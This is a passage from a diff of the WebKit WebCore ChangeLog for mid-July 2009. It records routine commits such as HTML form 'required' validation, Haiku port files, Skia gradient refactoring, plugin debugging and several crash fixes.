+               fast/forms/ValidityState-valueMissing-001.html
+               fast/forms/ValidityState-valueMissing-002.html
+               fast/forms/ValidityState-valueMissing-003.html
+               fast/forms/ValidityState-valueMissing-004.html
+               fast/forms/ValidityState-valueMissing-005.html
+               fast/forms/ValidityState-valueMissing-006.html
+               fast/forms/ValidityState-valueMissing-007.html
+               fast/forms/ValidityState-valueMissing-008.html
+               fast/forms/ValidityState-valueMissing-009.html
+               fast/forms/required-attribute-001.html
+               fast/forms/required-attribute-002.html
+
+        * css/CSSSelector.cpp:
+        (WebCore::CSSSelector::extractPseudoType): pseudoRequired/pseudoOptional
+        * css/CSSSelector.h:
+        (WebCore::CSSSelector::): ditto
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector): ditto
+        * dom/Element.h:
+        (WebCore::Element::isOptionalFormControl): check for optional controls
+        (WebCore::Element::isRequiredFormControl): check for required controls
+        * html/HTMLAttributeNames.in: required attribute
+        * html/HTMLButtonElement.h:
+        (WebCore::HTMLButtonElement::isOptionalFormControl): ditto
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::required): requiredAttr getter
+        (WebCore::HTMLFormControlElement::setRequired): requiredAttr setter
+        * html/HTMLFormControlElement.h:
+        (WebCore::HTMLFormControlElement::valueMissing): method definition
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::valueMissing): validation code
+        (WebCore::HTMLInputElement::isRequiredFormControl): ditto
+        * html/HTMLInputElement.h:
+        (WebCore::HTMLInputElement::isOptionalFormControl): ditto
+        * html/HTMLInputElement.idl: required DOM attribute
+        * html/HTMLSelectElement.h:
+        (WebCore::HTMLSelectElement::isOptionalFormControl): ditto
+        * html/HTMLTextAreaElement.h:
+        (WebCore::HTMLTextAreaElement::valueMissing): validation code
+        (WebCore::HTMLTextAreaElement::isOptionalFormControl): ditto
+        (WebCore::HTMLTextAreaElement::isRequiredFormControl): ditto
+        * html/HTMLTextAreaElement.idl: required DOM attribute
+        * html/ValidityState.cpp:
+        * html/ValidityState.h:
+        (WebCore::ValidityState::valueMissing): validation flag
+
+2009-07-17  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=27390 CSS custom 
+        cursor hotspots should work in quirks mode
+        - and corresponding <rdar://problem/6554340>
+
+        Enable hotspots in quirks mode.
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+
+        Update this manual test to reflect the fact that hotspots are now 
+        expected to work in quirks mode.
+        * manual-tests/css3-cursor-fallback-quirks.html:
+
+2009-07-17  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Steve Falkenburg.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27323
+        Only add Cygwin to the path when it isn't already there.  This avoids
+        causing problems for people who purposefully have non-Cygwin versions of
+        executables like svn in front of the Cygwin ones in their paths.
+
+        * WebCore.vcproj/QTMovieWin.vcproj:
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * WebCore.vcproj/WebCoreGenerated.vcproj:
+
+2009-07-17  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27384
+        Random crashes in appcache/update-cache.html test
+
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::ApplicationCacheGroup::didReceiveResponse): Reorder code to avoid using a handle
+        after canceling it.
+
+2009-07-17  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        Need to refactor Worker to derive from AbstractWorker
+        https://bugs.webkit.org/show_bug.cgi?id=26948
+
+        Changed Worker to derive from AbstractWorker, which involved moving
+        AbstractWorker files from being wrapped by ENABLE_SHARED_WORKERS to
+        ENABLE_WORKERS.
+
+        Removed obsolete functionality from the JS/V8 bindings that is now
+        inherited from AbstractWorker.
+
+        * WebCore.pro:
+        Moved AbstractWorker files out of SHARED_WORKERS section and into WORKERS.
+        * bindings/js/JSAbstractWorkerCustom.cpp:
+        Changed to be wrapped by ENABLE(WORKERS), not ENABLE(SHARED_WORKERS).
+        * bindings/js/JSWorkerCustom.cpp:
+        Removed obsolete event listener code (now in base class)
+        (WebCore::JSWorker::mark):
+        No longer need to explicitly mark event listeners (handled by base class).
+        * bindings/v8/V8Index.h:
+        Moved AbstractWorker lines out of SHARED_WORKERS section and into WORKERS.
+        * bindings/v8/custom/V8AbstractWorkerCustom.cpp:
+        Changed to be wrapped by ENABLE(WORKERS), not ENABLE(SHARED_WORKERS).
+        * bindings/v8/custom/V8CustomBinding.h:
+        Moved AbstractWorker lines out of SHARED_WORKERS section and into WORKERS.
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        Removed obsolete event listener code that now lives in the base class.
+        (WebCore::V8WorkerConstructor): Cleaned up legacy style nits.
+        * workers/AbstractWorker.cpp:
+        Changed to be wrapped by ENABLE(WORKERS), not ENABLE(SHARED_WORKERS).
+        * workers/AbstractWorker.h:
+        Changed to be wrapped by ENABLE(WORKERS), not ENABLE(SHARED_WORKERS).
+        * workers/Worker.cpp:
+        Removed event listener code (now in base class).
+        (WebCore::Worker::Worker): Now derives from AbstractWorker.
+        (WebCore::Worker::notifyFinished): Calls dispatchLoadErrorEvent on base class.
+        * workers/Worker.h:
+        Removed APIs that now live in the base class.
+        * workers/Worker.idl:
+        Now derives from AbstractWorker.
+        Removed APIs that live in the base class, and added a GenerateToJS flag.
+
+2009-07-17  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27379
+        Absolutely-positioned elements with a scrollbar wrap prematurely.  Make sure to include
+        the vertical scrollbar width for overflow:scroll elements.
+
+        Added fast/css/positioned-overflow-scroll.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::calcPrefWidths):
+        * rendering/RenderFlexibleBox.cpp:
+        (WebCore::RenderFlexibleBox::calcPrefWidths):
+
+2009-07-17  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Need a DOM_STORAGE guard in DerivedSroucesAllInOne.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=27375
+
+        In https://bugs.webkit.org/show_bug.cgi?id=27360 I added Storage.cpp
+        and StorageEvent.cpp.  Unfortunately, until later this afternoon,
+        DOM_STORAGE is not turned on by default in Chromium, and so these two
+        files are never generated.  This breaks the compile.
+
+        There are no other instances of guards in the file, which puzzles me...
+        but I think adding guards is the right way to go about this.
+
+        * bindings/v8/DerivedSourcesAllInOne.cpp:  Added the guard.
+
+2009-07-17  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26496
+
+        Let WebCore always enforce the connection-per-host limit itself.
+
+        * loader/loader.cpp:
+        (WebCore::Loader::Host::servePendingRequests):
+
+2009-07-17  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by David Hyatt.
+
+        Some transitions don't work correctly on Leopard
+        https://bugs.webkit.org/show_bug.cgi?id=27356
+
+        We only have code to do component animation using valueFunction.
+        So on Leopard we always need to do matrix animation in hardware.
+        This fix ensures that. 
+
+        This is currently not testable because it appears only in the
+        hardware animation and we can't yet do pixel tests while 
+        hardware animating.
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::animateTransform):
+
+2009-07-17  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK+] Crash in screenAvailable due a null Widget*
+
+        JSDOMWindow::open called screenAvailableRect(0). The other
+        Screen methods can be called with a null widget as well, fix the
+        crashing test by checking for null.
+
+        In screenRect and screenAvailableRect it is not tried to use
+        a default screen as the existing implementation didn't try either
+        in case of not having a toplevel widget.
+
+        LayoutTests/fast/frames/crash-removed-iframe.html caused a crash.
+
+        * platform/gtk/PlatformScreenGtk.cpp:
+        (WebCore::getVisual): New method to get a visual or return zero.
+        (WebCore::screenDepth): Use getVisual.
+        (WebCore::screenDepthPerComponent): Use getVisual.
+        (WebCore::screenIsMonochrome): Use screenDepth which will do the null checking
+        (WebCore::screenRect): Check for !widget.
+        (WebCore::screenAvailableRect): Check for !widget.
+
+2009-07-17  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Fix the include path for the Symbian port
+        https://bugs.webkit.org/show_bug.cgi?id=27358
+
+        * WebCore.pro:
+
+2009-07-17  Kenneth Rohde Christiansen  <kenneth.christiansen@openbossa.org>
+
+        Reviewed by Simon Hausmann.
+
+        Make it possible to set the plugin directories from the DRT.
+        Part of https://bugs.webkit.org/show_bug.cgi?id=27215
+
+        * plugins/PluginDatabase.cpp:
+        (WebCore::PluginDatabase::installedPlugins): Now optionally takes
+        a populate argument, so we can avoid loading system plugins from the
+        DRT and thus avoid their strerr errors that can make tests fail.
+        (WebCore::PluginDatabase::clear): Make it possible to clear the
+        database. Called from setPluginDirectories.
+        * plugins/PluginDatabase.h:
+        (WebCore::PluginDatabase::setPluginDirectories): Make public
+
+2009-07-17  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        PluginViewMac: Stop the plugin when loading fails
+
+        Also, prevent event propagation when in the stopped state
+
+        * plugins/mac/PluginViewMac.cpp:
+
+2009-07-17  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        PluginViewMac: Allow query and set of drawing and event models
+
+        We now support querying and setting of the drawing and event model,
+        but we still only support the CoreGraphics drawing model, and the
+        Carbon event model.
+
+        If unsupported drawing or event models are detected we show the
+        missing-plugin icon.
+
+        * plugins/PluginView.cpp:
+        * plugins/PluginView.h:
+        * plugins/mac/PluginViewMac.cpp:
+
+2009-07-17  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Initialize two PluginView members using memset
+
+        m_npWindow is used on all platforms, not just for XP_UNIX,
+        so always initialize it. m_npCgContext on the other hand
+        is only used for XP_MACOSX.
+
+        * plugins/PluginView.cpp:
+
+2009-07-17  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Add more debug logging in PluginView
+
+        * plugins/PluginView.cpp: Add debug for setValue
+        * plugins/gtk/PluginViewGtk.cpp: Add debug for getValue
+        * plugins/mac/PluginViewMac.cpp: Add debug for getValue and more
+        * plugins/qt/PluginViewQt.cpp: Add debug for getValue
+        * plugins/win/PluginViewWin.cpp: Add debug for getValue
+
+2009-07-17  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Holger Freyther.
+
+        Use same license in PluginDebug.cpp as in the original PluginDebug.h
+
+        * plugins/PluginDebug.cpp: Use license from PluginDebug.h
+
+2009-07-17  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Add more debugging functionality for the WebCore NPAPI layer
+
+        * GNUmakefile.am: Add PluginDebug.cpp
+        * WebCore.gypi: Add PluginDebug.cpp
+        * WebCore.pro: Add PluginDebug.cpp
+        * WebCore.vcproj/WebCore.vcproj: Add PluginDebug.cpp
+        * WebCoreSources.bkl: Add PluginDebug.cpp
+        * plugins/PluginDebug.h: Move errorStrings to PluginDebug.cpp
+        * plugins/PluginDebug.cpp: New file
+
+2009-07-17  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by David Levin.
+
+        Fix Chromium build with DOM_STORAGE enabled.
+        https://bugs.webkit.org/show_bug.cgi?id=27360
+
+        2 minor changes as noted below:
+
+        * bindings/v8/DerivedSourcesAllInOne.cpp: Add the generated .cpp files.
+        * storage/StorageAreaImpl.cpp:  #include "DOMWindow.h"
+
+2009-07-16  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by David Levin.
+
+        Add --web-sockets flag and ENABLE_WEB_SOCKETS define.
+        https://bugs.webkit.org/show_bug.cgi?id=27206
+        
+        Add ENABLE_WEB_SOCKETS
+
+        * Configurations/FeatureDefines.xcconfig: add ENABLE_WEB_SOCKETS
+        * GNUmakefile.am: add ENABLE_WEB_SOCKETS
+        * WebCore.vcproj/WebCoreCommon.vsprops: add ENABLE_WEB_SOCKETS
+        * WebCore.vcproj/build-generated-files.sh: add ENABLE_WEB_SOCKETS
+
+2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Oliver Hunt.
+
+        Added a third bunch of Haiku-specific files for WebCore.
+        https://bugs.webkit.org/show_bug.cgi?id=26952
+
+        Adding five files, EventLoopHaiku.cpp, FileChooserHaiku.cpp,
+        FileSystemHaiku.cpp, KeyboardCodes.h and MIMETypeRegistryHaiku.cpp
+
+        * platform/haiku/EventLoopHaiku.cpp: Added.
+        (WebCore::EventLoop::cycle):
+        * platform/haiku/FileChooserHaiku.cpp: Added.
+        (WebCore::FileChooser::FileChooser):
+        (WebCore::FileChooser::basenameForWidth):
+        * platform/haiku/FileSystemHaiku.cpp: Added.
+        (WebCore::fileSystemRepresentation):
+        (WebCore::homeDirectoryPath):
+        (WebCore::openTemporaryFile):
+        (WebCore::closeFile):
+        (WebCore::writeToFile):
+        (WebCore::unloadModule):
+        (WebCore::listDirectory):
+        * platform/haiku/KeyboardCodes.h: Added.
+        * platform/haiku/MIMETypeRegistryHaiku.cpp: Added.
+        (WebCore::):
+        (WebCore::MIMETypeRegistry::getMIMETypeForExtension):
+
+2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Oliver Hunt.
+
+        Added a second bunch of Haiku-specific files for WebCore.
+        https://bugs.webkit.org/show_bug.cgi?id=26952
+
+        Adding four files, ContextMenuHaiku.cpp, ContextMenuItemHaiku.cpp,
+        DragDataHaiku.cpp and DragImageHaiku.cpp
+
+        * platform/haiku/ContextMenuHaiku.cpp: Added.
+        (WebCore::ContextMenuReceiver::ContextMenuReceiver):
+        (WebCore::ContextMenuReceiver::HandleMessage):
+        (WebCore::ContextMenuReceiver::Result):
+        (WebCore::ContextMenu::ContextMenu):
+        (WebCore::ContextMenu::~ContextMenu):
+        (WebCore::ContextMenu::appendItem):
+        (WebCore::ContextMenu::itemCount):
+        (WebCore::ContextMenu::insertItem):
+        (WebCore::ContextMenu::platformDescription):
+        (WebCore::ContextMenu::setPlatformDescription):
+        * platform/haiku/ContextMenuItemHaiku.cpp: Added.
+        (ContextMenuItem::ContextMenuItem):
+        (ContextMenuItem::~ContextMenuItem):
+        (ContextMenuItem::releasePlatformDescription):
+        (ContextMenuItem::type):
+        (ContextMenuItem::setType):
+        (ContextMenuItem::action):
+        (ContextMenuItem::setAction):
+        (ContextMenuItem::title):
+        (ContextMenuItem::setTitle):
+        (ContextMenuItem::platformSubMenu):
+        (ContextMenuItem::setSubMenu):
+        (ContextMenuItem::setChecked):
+        (ContextMenuItem::setEnabled):
+        (ContextMenuItem::enabled):
+        * platform/haiku/DragDataHaiku.cpp: Added.
+        (WebCore::DragData::canSmartReplace):
+        (WebCore::DragData::containsColor):
+        (WebCore::DragData::containsFiles):
+        (WebCore::DragData::asFilenames):
+        (WebCore::DragData::containsPlainText):
+        (WebCore::DragData::asPlainText):
+        (WebCore::DragData::asColor):
+        (WebCore::DragData::createClipboard):
+        (WebCore::DragData::containsCompatibleContent):
+        (WebCore::DragData::containsURL):
+        (WebCore::DragData::asURL):
+        (WebCore::DragData::asFragment):
+        * platform/haiku/DragImageHaiku.cpp: Added.
+        (WebCore::dragImageSize):
+        (WebCore::deleteDragImage):
+        (WebCore::scaleDragImage):
+        (WebCore::dissolveDragImageToFraction):
+        (WebCore::createDragImageFromImage):
+        (WebCore::createDragImageIconForCachedImage):
+
+2009-07-16  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Darin Fisher and Brett Wilson.
+
+        Refactor Skia implementation of gradients and patterns.
+
+        http://bugs.webkit.org/show_bug.cgi?id=26618
+
+        The following layout tests were breaking on Chromium/Linux:
+
+        LayoutTests/svg/custom/js-late-gradient-creation.svg (bad baseline PNG)
+        LayoutTests/svg/custom/js-late-gradient-and-object.creation.svg
+        LayoutTests/svg/custom/js-late-pattern-creation.svg (bad baseline PNG)
+        LayoutTests/svg/custom/js-late-pattern-and-object-creation.svg
+
+        I could've fixed these the easy way, by copying the same 5
+        lines of code we use everywhere we need patterns or gradients, but
+        I decided to fix it the hard way:  by refactoring the code so that
+        PlatformContextSkia::setupPaintForFilling() and
+        PlatformContextSkia::setupPaintForStroking() do the right thing,
+        and also handle gradients and patterns.
+        
+        This required pushing the gradients and patterns set in 
+        (generic) GraphicsContext::setFillPattern() and friends down into
+        PlatformContextSkia.  For this, I followed the setPlatformXXX()
+        pattern used elsewhere in GraphicsContext, and stubbed them out on
+        the other platforms with #if !PLATFORM(SKIA).  This also required
+        pushing changes to the gradientSpaceTransform from the Gradient into 
+        GradientSkia.
+
+        Since it's a Skia context, I decided to cache the values as
+        SkShaders.  There were existing m_pattern and m_gradient SkShaders,
+        but they were unused, and whose use was ambiguous, so I
+        replaced them with one SkShader each for filling and stroking.
+
+        * platform/graphics/Gradient.cpp:
+        (WebCore::Gradient::setGradientSpaceTransform):
+        (WebCore::Gradient::setPlatformGradientSpaceTransform):
+        * platform/graphics/Gradient.h:
+        * platform/graphics/GraphicsContext.cpp:
+        (WebCore::GraphicsContext::setStrokePattern):
+        (WebCore::GraphicsContext::setFillPattern):
+        (WebCore::GraphicsContext::setStrokeGradient):
+        (WebCore::GraphicsContext::setFillGradient):
+        (WebCore::GraphicsContext::setPlatformFillGradient):
+        (WebCore::GraphicsContext::setPlatformFillPattern):
+        (WebCore::GraphicsContext::setPlatformStrokeGradient):
+        (WebCore::GraphicsContext::setPlatformStrokePattern):
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/skia/GradientSkia.cpp:
+        (WebCore::Gradient::setPlatformGradientSpaceTransform):
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::setPlatformFillGradient):
+        (WebCore::GraphicsContext::setPlatformFillPattern):
+        (WebCore::GraphicsContext::setPlatformStrokeGradient):
+        (WebCore::GraphicsContext::setPlatformStrokePattern):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::strokeRect):
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::State::State):
+        (PlatformContextSkia::State::~State):
+        (PlatformContextSkia::drawRect):
+        (PlatformContextSkia::setupPaintCommon):
+        (PlatformContextSkia::setupPaintForFilling):
+        (PlatformContextSkia::setupPaintForStroking):
+        (PlatformContextSkia::setFillColor):
+        (PlatformContextSkia::setStrokeColor):
+        (PlatformContextSkia::setStrokeShader):
+        (PlatformContextSkia::setFillShader):
+        * platform/graphics/skia/PlatformContextSkia.h:
+        * platform/graphics/skia/SkiaFontWin.cpp:
+        (WebCore::skiaDrawText):
+        (WebCore::paintSkiaText):
+        * svg/graphics/SVGPaintServer.cpp:
+        (WebCore::SVGPaintServer::teardown):
+
+2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Oliver Hunt.
+
+        Added Haiku-specific files for WebCore/platform/image-decoders/.
+        https://bugs.webkit.org/show_bug.cgi?id=26949
+
+        Adding a new file, ImageDecoderHaiku.cpp.
+
+        * platform/image-decoders/haiku/ImageDecoderHaiku.cpp: Added.
+        (WebCore::RGBA32Buffer::RGBA32Buffer):
+        (WebCore::RGBA32Buffer::clear):
+        (WebCore::RGBA32Buffer::zeroFill):
+        (WebCore::RGBA32Buffer::copyBitmapData):
+        (WebCore::RGBA32Buffer::setSize):
+        (WebCore::RGBA32Buffer::asNewNativeImage):
+        (WebCore::RGBA32Buffer::hasAlpha):
+        (WebCore::RGBA32Buffer::setHasAlpha):
+        (WebCore::RGBA32Buffer::setStatus):
+        (WebCore::RGBA32Buffer::operator=):
+        (WebCore::RGBA32Buffer::width):
+        (WebCore::RGBA32Buffer::height):
+
+2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Added Haiku-specific files for WebCore/page/.
+        https://bugs.webkit.org/show_bug.cgi?id=26949
+
+        Adding three new files, DragControllerHaiku.cpp, EventHandlerHaiku.cpp
+        and FrameHaiku.cpp
+
+        * page/haiku/DragControllerHaiku.cpp: Added.
+        (WebCore::DragController::isCopyKeyDown):
+        (WebCore::DragController::dragOperation):
+        (WebCore::DragController::maxDragImageSize):
+        (WebCore::DragController::cleanupAfterSystemDrag):
+        * page/haiku/EventHandlerHaiku.cpp: Added.
+        (WebCore::isKeyboardOptionTab):
+        (WebCore::EventHandler::invertSenseOfTabsToLinks):
+        (WebCore::EventHandler::tabsToAllControls):
+        (WebCore::EventHandler::focusDocumentView):
+        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
+        (WebCore::EventHandler::passMouseDownEventToWidget):
+        (WebCore::EventHandler::eventActivatedView):
+        (WebCore::EventHandler::passSubframeEventToSubframe):
+        (WebCore::EventHandler::passWheelEventToWidget):
+        (WebCore::EventHandler::createDraggingClipboard):
+        (WebCore::EventHandler::passMousePressEventToSubframe):
+        (WebCore::EventHandler::passMouseMoveEventToSubframe):
+        (WebCore::EventHandler::passMouseReleaseEventToSubframe):
+        (WebCore::EventHandler::accessKeyModifiers):
+        * page/haiku/FrameHaiku.cpp: Added.
+        (WebCore::Frame::dragImageForSelection):
+
+2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Added Haiku-specific files for WebCore/editing/.
+        https://bugs.webkit.org/show_bug.cgi?id=26949
+
+        Adding one new file, EditorHaiku.cpp
+
+        * editing/haiku/EditorHaiku.cpp: Added.
+        (WebCore::Editor::newGeneralClipboard):
+
+2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Added Haiku-specific files for WebCore/bindings/js/.
+        https://bugs.webkit.org/show_bug.cgi?id=26949
+
+        Adding a new file, ScriptControllerHaiku.cpp
+
+        * bindings/js/ScriptControllerHaiku.cpp: Added.
+        (WebCore::ScriptController::createScriptInstanceForWidget):
+
+2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Added Haiku-specific files for WebCore/platform/text/.
+        https://bugs.webkit.org/show_bug.cgi?id=26949
+
+        Adding two new files, StringHaiku.cpp
+        and TextBreakIteratorInternalICUHaiku.cpp
+
+        * platform/text/haiku/StringHaiku.cpp: Added.
+        (WebCore::String::String):
+        (WebCore::String::operator BString):
+        * platform/text/haiku/TextBreakIteratorInternalICUHaiku.cpp: Added.
+        (WebCore::currentTextBreakLocaleID):
+
+2009-07-16  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Sends the basename of a selected file for non-multipart form submission.
+        <https://bugs.webkit.org/show_bug.cgi?id=26505>
+
+        Test: fast/forms/get-file-upload.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::appendFormData):
+
+2009-07-16  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by David Levin.
+
+        [V8] Centralize hidden property names
+        https://bugs.webkit.org/show_bug.cgi?id=27359
+
+        No behavior change.  Just moving these names to a central location.
+        I'll move the rest of our hidden property names as I sweep though the
+        bindings.
+
+        * WebCore.gypi:
+        * bindings/v8/V8HiddenPropertyName.cpp: Added.
+        (WebCore::V8HiddenPropertyName::objectPrototype):
+        (WebCore::V8HiddenPropertyName::isolatedWorld):
+        * bindings/v8/V8HiddenPropertyName.h: Added.
+        * bindings/v8/V8IsolatedWorld.cpp:
+        (WebCore::V8IsolatedWorld::V8IsolatedWorld):
+        (WebCore::V8IsolatedWorld::getEntered):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::getHiddenObjectPrototype):
+        (WebCore::V8Proxy::installHiddenObjectPrototype):
+
+2009-07-16  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        REGRESSION (r41238) Repainted portion of a scaled image does not line up with full image
+        https://bugs.webkit.org/show_bug.cgi?id=26747
+        rdar://problem/7009243
+
+        Test: fast/repaint/background-misaligned.html
+
+        * platform/graphics/Image.cpp:
+        (WebCore::Image::drawTiled): Moved a variable definition closer to where
+        it is used.
+        * platform/graphics/cg/ImageCG.cpp:
+        (WebCore::BitmapImage::draw): In the subimage code path, compute a
+        pixel-aligned source rect, because the subiamge is always pixel-aligned
+        in source space, and adjust the destination rect to preserve the
+        source -> destination mapping. Clip to the (original) destination rect
+        to prevent bleeding out.
+
+2009-07-16  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Add a sessionStorageEnabled setting to the settings class.
+        https://bugs.webkit.org/show_bug.cgi?id=27318
+
+        Allow LocalStorage to be enabled without enabling SessionStorage at
+        runtime.  There is a settings class setting for localStorage, but not
+        for sessionStorage.  We want to be able to test one of these features
+        without necessarily enabling the other.
+
+        SessionStorage defaults to true so as to not change behavior and
+        because there really aren't any security concerns around SessionStorage
+        (unlike LocalsStorage).  The flag is needed in Chromium only because
+        we want to enable the compile time flag in the default build, but don't
+        want it on by default until it's been thoroughly tested.
+
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::sessionStorage):  Check the new flag
+        (WebCore::DOMWindow::localStorage):  A bit of cleanup
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):  Default the flag to true
+        (WebCore::Settings::setSessionStorageEnabled):  Add the new flag
+        * page/Settings.h:
+        (WebCore::Settings::sessionStorageEnabled):  Get the new flag
+
+2009-07-16  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed.
+
+        Revert 45987.  Tests did not pass on Windows.
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::appendFormData):
+
+2009-07-16  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        Added SHARED_WORKER flag to Windows build files, as well as associated .ccp/.h files.
+        Added missing V8 bindings to the AllInOne file
+
+        https://bugs.webkit.org/show_bug.cgi?id=27321
+
+        * WebCore.vcproj/WebCore.vcproj:
+        Added missing files to build.
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        Added missing V8 bindings (V8AbstractWorker.cpp and V8SharedWorker.cpp)
+        * DerivedSources.cpp
+        Added missing JS bindings (JSAbstractWorker.cpp and JSSharedWorker.cpp)
+
+2009-07-16  John Abd-El-Malek  <jam@chromium.org>
+
+        Reviewed by David Levin.
+
+        Add a getter in MessagePortChannel for the PlatformMessagePortChannel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27337
+
+        * dom/MessagePortChannel.h:
+        (WebCore::MessagePortChannel::channel):
+
+2009-07-16  Xiaomei Ji  <xji@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix tooltip does not get its directionality from its element's directionality.
+        https://bugs.webkit.org/show_bug.cgi?id=24187
+
+        Per mitz's suggestion in comment #6, while getting the plain-text 
+        title, we also get the directionality of the title. How to handle 
+        the directionality is up to clients. Clients could ignore it, 
+        or use attribute or unicode control characters to display the title
+        as what they want.
+
+        WARNING: NO TEST CASES ADDED OR CHANGED
+
+        * WebCore.base.exp: Replace 2 names due to signature change.
+        * loader/EmptyClients.h: 
+        (WebCore::EmptyChromeClient::setToolTip): Add direction as 2nd parameter.
+        * page/Chrome.cpp:
+        (WebCore::Chrome::setToolTip): Calculate tooltip direction as well and pass it to client to take care when display tooltip.
+        * page/ChromeClient.h: Add direction as 2nd parameter to pure virtual function setToolTip().
+        * page/chromium/ChromeClientChromium.h:
+        (WebCore::ChromeClientChromium::setToolTip): Add setToolTip() 
+        temprarily to make chromium compile after pick up this webkit patch.
+        * rendering/HitTestResult.cpp:
+        (WebCore::HitTestResult::spellingToolTip): Besides getting the 
+        spelling tooltip, get its directionality as well.
+        (WebCore::HitTestResult::title): Besides getting the title, 
+        get its directionality as well.
+        * rendering/HitTestResult.h: Add 2 more methods.
+
+2009-07-16  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Oliver Hunt.
+
+        [CAIRO] pattern of a canvas-element changes after modifications on canvas-element
+        https://bugs.webkit.org/show_bug.cgi?id=20578
+
+        Copy pixel image in ImageBuffer::image() just like CG and Skia glue.
+
+        Test: fast/canvas/canvas-pattern-modify.html
+
+        * platform/graphics/cairo/ImageBufferCairo.cpp:
+        (copySurface):
+        (WebCore::ImageBuffer::image):
+
+2009-07-16  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27353
+        Images mispositioned because of bug in percentage-based relative positioning.
+
+        Added fast/css/nested-floating-relative-position-percentages.html
+
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::relativePositionOffsetX):
+
+2009-07-16  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Sends the basename of a selected file for non-multipart form submission.
+        <https://bugs.webkit.org/show_bug.cgi?id=26505>
+
+        Test: fast/forms/get-file-upload.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::appendFormData):
+
+2009-07-16  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Video size sometimes jumps just after the video starts loading
+        https://bugs.webkit.org/show_bug.cgi?id=27352
+
+        Ensure that the media player is at or after the 'HaveMetadata' state so that
+        the instrinsic size is known before we create the layer for video. This avoids
+        a flash caused by computing the video rect using the default intrinsic size, and then
+        re-computing it when that size changes.
+        
